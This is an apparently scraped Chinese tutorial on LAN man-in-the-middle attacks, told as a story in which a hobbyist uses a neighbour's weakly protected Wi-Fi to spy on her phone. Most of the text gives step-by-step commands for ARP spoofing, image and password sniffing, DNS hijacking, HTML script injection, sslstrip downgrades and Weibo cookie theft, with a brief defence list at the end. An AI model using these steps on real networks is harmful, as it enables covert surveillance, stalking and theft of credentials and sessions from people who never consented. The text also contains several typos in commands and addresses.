来自身边的安全威胁—ARP欺骗攻击

小黑是一个电脑技术爱好者,他天天爱作的事情就是宅在家中玩电脑。小黑的隔壁住着一个女生,刚搬来不久,小黑对她非常好奇,可是一直不敢和她搭讪,就想用本身擅长电脑技术,尽量多的去收集信息了解她(情节须要,请勿模仿)。javascript

小黑首先想到的就是连入她家的无线网,通过以前的了解,他已经知道了女生家中的wifi名称,而后尝试了弱口令登陆,随便试了几下没想到真的经过验证了。(关于无线密码破解这部份内容将在后期详细讲述,这里只讲同一个局域网环境中的攻击,因此本文省略这个步骤。)小黑很高兴,省了很多步骤,心想这个女生的安全意识真的有待提升啊。
图片描述html

了解网络环境java

接下来小黑要先了解下本身的网络环境,首先他查看了本身的ip地址,本身如今的ip地址是192.168.1.132(小黑这里用的是ubuntu的Linux ,不少工具要本身装,在Kali上工具都是齐全的哦。)
![图片描述][3]linux

以后就是要看一下这个局域网中有哪些设备,那就用nmap扫一下吧
nmap -sP 192.168.1.1-254 也能够输入 nmap -sP 192.168.1.0/24
图片描述web

看起来设备不少呢。192.168.1.1是网关,也就是女生家中的无线路由器。Dell应该就是电脑设备,其余几个设备好像都是手机。上面的信息中能够肯定女生此时在家,可是这么多的设备,难道她们家来客人了?不太小黑清楚地记得,女生使用的是华为手机(也就是此次的实验的目标)。那目标的ip地址就知道了是192.168.1.106。
这里先看下ARP缓存表:
图片描述apache

刚开始ARP缓存表中没有192.168.1.106,这里ping一下以后再看ARP缓存表上就有了。
接下来,小黑就能够进行arp欺骗攻击了。ubuntu

攻击原理windows

在小黑的记忆中,这种攻击手段也叫作中间人攻击MITM(Man-in-the-Middle Attack),算是一种古老的方法了,但仍有不少变种的中间人攻击是有效的,可以很容易地欺骗外行而且入侵他们。MITM攻击就是攻击者扮演中间人而且实施攻击。MITM攻击它能够劫持一段会话,称为会话劫持,能够窃取密码和其余机密,即便使用了SSL加密。浏览器

这里使用的arp欺骗也被称为arp缓存中毒,是在内网的MITM攻击。Arp投毒的实现过程很是简单,咱们只须要欺骗目标机器使其确信咱们的攻击主机就是它的网关,再假装成目标机器与网关欺骗网关,这样全部的流量都会经过咱们的攻击主机,咱们就能截获目标机器与网关的通讯数据了。网络中全部的机器都包含ARP缓存,它存储了本地网络中最近时间的MAC地址与ip地址的对应关系,咱们要达成攻击目标的话就须要对这个缓存进行投毒。由于地址解析协议(arp)和arp投毒还涵盖了许多其余方面的知识,因此能够先了解下arp的原理及这种攻击如何在底层的协议中发挥做用。
图片描述缓存

进行中间人攻击

接下来小黑就开始攻击了,先从收集女生手机上浏览的图片信息开始吧:
第一步:启用IP转发:
echo 1 > / proc/sys/net/ipv4/ip_forward
图片描述

第二步:使用arpspoof执行arp欺骗,毒化被欺骗者(192.168.1.106)
arpspoof -i eth0 -t 192.168.1.106 192.168.1.1
eth0是网卡的名称,我这里的是ens33,ifconfig能够查看。
将被欺骗者的流量重定向给攻击者,再由攻击者转发给网关。
图片描述

第三步:使用arospoof执行arp欺骗,毒化网关(192.168.1.1)
arpspoof –i eth0 -t 192.168.1.1 192.168.1.132
使网关的数据重定向到攻击者的机器。(流量由网关到攻击者再到受攻击者)
图片描述

关于第二步和第三步,可能会和具体的网络状况不一样而出现误差,请进行灵活的尝试。
第四步:执行drifnet,就能够捕获手机上浏览器访问的图片。
driftnet -i ens33
图片描述

不一下子,就接收到手机上的图片啦。看来她此时在浏览有关汽车的东西。
Ps:还能够执行dsniff命令,捕获密码。
dsniff -i ens33
图片描述

此时处于监听状态,被欺骗手机上用浏览器访问ftp站点,输入用户名和密码后,攻击者主机上的dnsiff就能成功捕获。
虽然能看到图片(并且不是所有的图片都能接受到),但小黑想要的不只仅是这些,他以为还须要得到更多的信息。他又使用了另外一个工具:Ettercap。

Ettercap

Ettercap是一个多用途的开源工具,能够用来执行嗅探、主机分析等。Ettercap可使用GUI(图形)和CLI(命令行)模式。下面将使用Ettercap来说几个关于中间人攻击的实例:
·中间人攻击,捕获图片。
·DNS劫持。
·替换HTML代码。
·使用sslstrip突破ssl加密,捕获密码。
·对目标之间进行ARP欺骗,捕获明文密码。
·进行cookie劫持,登陆被欺骗者的腾讯微博。

1.中间人攻击,捕获图片。

(1) 执行ettercap命令,进行arp欺骗。
在攻击者的主机上执行以下命令
ettercap -T -M arp /(目标ip)// /(网关ip)// -q -i eth0
若是目标ip和网关ip不填写,则是所有监听。
-T:使用文本模式启动;
-M:使用中间人攻击,后面指定arp的攻击方式及两个目标;
-q:安静模式(不回显);
-i:指定监听的网络接口。
图片描述

(2)执行driftnet命令,捕获图片。
driftnet -i eth0
在被欺骗者的手机上用浏览器访问新闻页面。此时,攻击者的主机上就会捕获到新闻页面上包含的图片。
图片描述

1.DNS劫持
ettercap提供了不少有用的插件,在ettercao图形界面下(ettercap -G),依次选择“Plugins”->“Manage the plugins”,而后双击启动插件,插件启动后,插件名前会显示*号。
图片描述

(1) 编辑dns_spoof插件的配置文件
在kali linux下,ettercap的配置文件和脚本文件存放在/usr/share/ettercap/或/etc/ettercap/目录下。
编辑dns_spoof 插件的配置文件/etc/ettercap/etter.dns,在etter.dns文件中添加一条A记录,*号就是把任何域名转向192.168.1.136(本机ip),也能够填写特定的域名,好比www.baidu.com。这会形成被欺骗者输入任何域名都会转向攻击者定义的ip,这里是转到攻击机的ip。
图片描述

(2) 咱们在个人的攻击机上(192.168.1.136)构建一个简单的页面。
在/var/www/html/ 目录中编辑index.html
图片描述

再启动web服务
/etc/init.d/apache2 start
浏览器访问192.168.1.136,显示以下,一个简单的hello。
图片描述

(3) 执行ettercap命令,进行DNS劫持。此次的目标是192.168.1.107,就是个人宿主机(windows),192.168.1.1仍是网关。
ettercap -Tq -i eth0 -P dns_spoof -M arp:remote /192.168.1.107// //192.168.1.1/
图片描述

(4) 被欺骗者(192.168.1.107)访问百度首页
图片描述

域名已经被劫持了。
有的浏览器也可能出现服务器拒绝链接。
图片描述

3.替换HTML代码

ettercap 还有很强大的过滤脚本功能,经过使用过滤脚本,能够对捕获的数据包作修改(替换网页内容、替换下载内容、在网页中插入代码等),而后发给被欺骗主机。
(1) 编辑文件replace.filter
新建一个过滤脚本文本replace.filter,内容以下:

1.    if (ip.proto == TCP && tcp.dst == 80){  
2.        if (search(DATA.data,"Accept-Encoding")){  
3.            replace("Accept-Encoding","Accept-Rubbish!");  
4.            #note:replacement string is same length as original string  
5.            msg("zapped Accept-Encoding!\n");  
6.        }  
7.    }  
8.    if (ip.proto == TCP && tcp.src == 80){  
9.        replace("<head>","<head><script type="text/javascript">alert('HTTP数据包内容被替换');</script>");  
10.        replace("<HEAD>","<HEAD><script type="text/javascript">alert('HTTP数据包内容被替换');</script>");  
11.        msg("成功替换HTTP数据包内容!\n");  
12.    }  

注意:根据语法规则if和“(”之间必定要有空格。
该脚本能够替换HTML代码中的<head>,在网页上弹出提示框。
(2) 编译文件replace.filter
要使用这个脚本,还须要使用ettercap自带的编译工具把这个脚本编译成ettercap能够识别的二进制文件,使用以下命令编译,replace.ef就是已经编译完成的过滤脚本。
etterfilter eplace.filter -o replace.ef
图片描述

(3) 发动攻击
而后执行以下命令,发动攻击:
ettercap -T -q -i eth0 -F replace.ef -M arp:remote //192.168.1.107/ //192.168.1.1/
图片描述

图片描述

该脚本执行成功后,被欺骗者网页会弹出提示框。

4.使用sslstrip突破ssl加密,捕获密码

原理以下:
(1) 攻击者先进行ARP欺骗,使得攻击者能捕获被欺骗者的网络流量。
(2) 攻击者利用被欺骗者对浏览器地址栏中https与http忽略,将全部的https链接都替换为http链接。
(3) 同时,攻击者与服务器创建正常的https链接。
(4) 因为http通讯是明文传输,攻击者可以轻易捕获密码。
第一步:开启内核转发功能。
echo 1 > /proc/sys/net/ipv4/ip_forward
开启内核转发功能保证攻击过程当中被攻击者不断网。
第二步:执行iptables命令。
图片描述

把80端口的流量转发到sslstrip监听的10000端口上。
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
第三步:启动sslstrip
sslstrip -l 10000
图片描述

第四步:新开一个终端,执行ettercap命令,进行arp欺骗。
ettercap -T -q -M arp:remote //192.168.1.107/ //192.168.1.1/
第五步:捕获密码
被欺骗者登陆163邮箱时,https被降为http,此时ettercap捕获就能捕获到密码。
可是如今的浏览器都能察觉异常,足够引发用户的怀疑了。
图片描述

5.对目标之间进行ARP欺骗,捕获明文密码

第一步:启动ettercap
打开终端,输入ettercap –G
依次选择“sniff”->“unified sniffing”根据本身的要求选择抓包的网络接口。
图片描述

第二步:扫描主机
选择“Hosts”->“Scan for hosts”
扫描完成后选择“Scan for hosts”,而后选择“Hosts list”查看扫描到的主机列表
图片描述

第三步:选择攻击目标
选择192.168.0.107,单机“Add to Target 1”,而后选择192.168.1.1,单机“Add to Target 2”
图片描述

第四步:明确攻击方式
依次选择“Mitm”->“ARP poisoning”->“Sniff remote connections”->“肯定”。
告诉被欺骗者A(192.168.1.107)攻击者(192.168.1.136)是网关(192.168.1.1),使得被欺骗者A把全部数据流量所有发送给攻击者,而后抓包捕获密码。ettercap能够自动完成这些步骤,只要选好目标主机便可。

在被欺骗者(192.168.1.107)的终端模拟器中执行arp命令,这时能够看arp地址表,网关(192.168.1.1)MAC是攻击机的,arp毒化成功。

图片描述

第五步:开始监听
依次选择“Start”->“Start sniffing”开始监听。
第六步:被欺骗者用浏览器访问http://rpmfusion.org/,输入用户名密码。
第七步:攻击者主机,ettercap成功捕获了用户名和密码。
图片描述

6.进行cookie劫持,登陆被欺骗者的腾讯微博

使用ettercap抓取被欺骗者的cookie从而实现cookie劫持,并登录被欺骗者的腾讯微博。
第一步:构建工具

使用Firefox浏览器、Scripish或GreaseMonkey、Original Cookie Injector,构建一个能够在网页中嵌入Cookie的工具。

(1) 先安装GreaseMonkey或者Scripish,而后重启浏览器。
Scripish下载地址:https://addons.mozilla.org/zh...
GreaseMonkey下载地址:https://addons.mozilla.org/en...
(2) 再安装Original Cookie Injector,而后重启浏览器。
Original Cookie Injector地址:http://userscripts-mirror.org...“Install”安装。
第二步:扫描主机

在ettercap图形界面,依次选择“Hosts”->“Scan for hosts”,扫描完成后再选择“Hosts list”,查看扫描到的主机列表。

第三步:选择攻击目标
选择192.168.0.107,单机“Add to Target 1”,而后选择192.168.1.1,单机“Add to Target 2”
第四步:明确攻击方式
依次选择“Mitm”->“ARP poisoning”->“Sniff remote connections”->“肯定”。
告诉被欺骗者A(192.168.1.107)攻击者(192.168.1.136)是网关(192.168.1.1),使得被欺骗者A把全部数据流量所有发送给攻击者,而后抓包捕获密码。ettercap能够自动完成这些步骤,只要选好目标主机便可。
第五步:开始监听
依次选择“Start”->“Start sniffing”开始监听。
第六步:在被欺骗着的主机上用浏览器访问腾讯微博http://t.qq.com,输入用户名和密码。
第七步:查看被欺骗者的网连接
“View”->”connections”,查看被欺骗者的网络连接。
图片描述

第八步:查看捕获数据包的详细信息,得到cookie
双击某个连接,查看捕获数据包的详细信息。把cookie:后面的字段复制下来。
图片描述

第九步:登录腾讯微博。
在攻击者主机,访问微博登陆页面,按”ALT+C”,弹出对话框,把cookie值粘贴进去,单击ok而后f5刷新页面,就能登陆了。

以上几个实验在如今的浏览器上不必定能取得良好的效果了,可是新的变种攻击仍是层出不穷,做为最接近身边的安全威胁(攻击者也可能远程操控局域网中的一台电脑),咱们再必定程度上仍是须要警戒的。

arp欺骗攻击的防范

那么咱们在现实生活中怎么防止受到这类攻击呢?(1) 在客户端使用arp命令绑定网关的IP/MAC(如arp -s 192.68.1.1 00-e0-eb-81-81-85)(2) 在交换机上作端口域MAC地址的静态绑定。(3) 在路由器上作IP/MAC地址的静态绑定。(4) 使用arp服务器定时广播网段内全部主机的正确IP/MAC映射表。(5) 及时升级客户端的操做系统和应用程序补丁。(6) 升级杀毒软件及病毒库。

相关文章
相关标签/搜索